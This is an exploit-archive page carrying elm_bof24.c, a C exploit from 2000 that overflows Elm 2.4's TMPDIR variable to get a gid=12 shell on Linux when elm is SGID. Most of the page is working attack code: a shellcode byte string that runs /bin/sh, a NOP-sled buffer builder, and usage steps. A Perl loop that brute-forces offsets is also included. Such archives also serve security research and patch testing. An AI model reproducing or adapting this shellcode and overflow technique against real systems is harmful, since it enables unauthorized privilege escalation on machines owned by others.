exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

elm_bof24.c

elm_bof24.c
Posted May 26, 2000
Authored by vade79, realhalo | Site realhalo.org

Elm v2.4 buffer overflow exploit which provides a gid=12 shell if /usr/bin/elm is SGID. Tested on Slackware 3.6, elm 2.4PL25. Perl script to find offsets included.

tags | exploit, overflow, shell, perl
systems | linux, slackware
SHA-256 | 03d1978ea3b8ab5173fda42c7786dc04993514aae31b5c97466470d36a8dddcf

elm_bof24.c

Change Mirror Download
/* (linux)elm[2.4] buffer overflow, by v9[v9@fakehalo.org].  this will give you
a gid=12 shell if /usr/bin/elm is SGID(=2755). elm rejects most user
defined vars after 254<characters but TMPDIR overflows a few characters
before that in some situations. both elm 2.4 and 2.5(current) have this
overflow, but elm 2.5's can be handled differently. (elm_bof25.c)

note: try offsets of 100, as noted in the perl script below. 800 worked on
my old slackware 3.6, (elm 2.4 PL25). it is possible you may need to modify
this to your system. (probably not though)

yeah, i obviously was looking around the elm source to find this. too much
free time for me. although, i also noticed that just typing too much in elm
will make it segfault. :)

here is a quick perl script to run offsets (until ctrl-c):

#!/usr/bin/perl
$i=$ARGV[0];
$i=$ARGV[0];
while(1){
print "offset: $i.\n";
system("rm /tmp/mbox.\$USER;./elm_bof25 $i");
$i++; # or $i+=100; if you want to be speedy. (which you do)
} */

#define DEFAULT_OFFSET 800
static char exec[]=
"\xeb\x29\x5e\x31\xc0\xb0\x2e\x31\xdb\xb3\x0c\xcd\x80\x89\x76\x08\x31\xc0\x88"
"\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb"
"\x89\xd8\x40\xcd\x80\xe8\xd2\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x01";
long esp(void){__asm__("movl %esp,%eax");}
int main(int argc,char **argv){
char bof[242];
int i,offset;
long ret;
if(argc>1){offset=atoi(argv[1]);}
else{offset=DEFAULT_OFFSET;}
ret=(esp()-offset);
printf("return address: 0x%lx, offset: %d.\n\nwhen ELM loads press \"m\" to send mail, then enter\ngarbage values until you get to the message editor(vi).\nyou also might want to run \"reset\".\n",ret,offset);
sleep(5);
for(i=2;i<242;i+=4){*(long *)&bof[i]=ret;}
for(i=0;i<(238-strlen(exec));i++){*(bof+i)=0x90;}
memcpy(bof+i,exec,strlen(exec));
setenv("TMPDIR",bof,1);
execlp("/usr/bin/elm","elm",0);
}
Login or Register to add favorites

File Archive:

June 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jun 1st
    0 Files
  • 2
    Jun 2nd
    0 Files
  • 3
    Jun 3rd
    18 Files
  • 4
    Jun 4th
    21 Files
  • 5
    Jun 5th
    0 Files
  • 6
    Jun 6th
    57 Files
  • 7
    Jun 7th
    6 Files
  • 8
    Jun 8th
    0 Files
  • 9
    Jun 9th
    0 Files
  • 10
    Jun 10th
    12 Files
  • 11
    Jun 11th
    27 Files
  • 12
    Jun 12th
    38 Files
  • 13
    Jun 13th
    16 Files
  • 14
    Jun 14th
    14 Files
  • 15
    Jun 15th
    0 Files
  • 16
    Jun 16th
    0 Files
  • 17
    Jun 17th
    16 Files
  • 18
    Jun 18th
    26 Files
  • 19
    Jun 19th
    15 Files
  • 20
    Jun 20th
    18 Files
  • 21
    Jun 21st
    8 Files
  • 22
    Jun 22nd
    0 Files
  • 23
    Jun 23rd
    0 Files
  • 24
    Jun 24th
    19 Files
  • 25
    Jun 25th
    5 Files
  • 26
    Jun 26th
    0 Files
  • 27
    Jun 27th
    0 Files
  • 28
    Jun 28th
    0 Files
  • 29
    Jun 29th
    0 Files
  • 30
    Jun 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close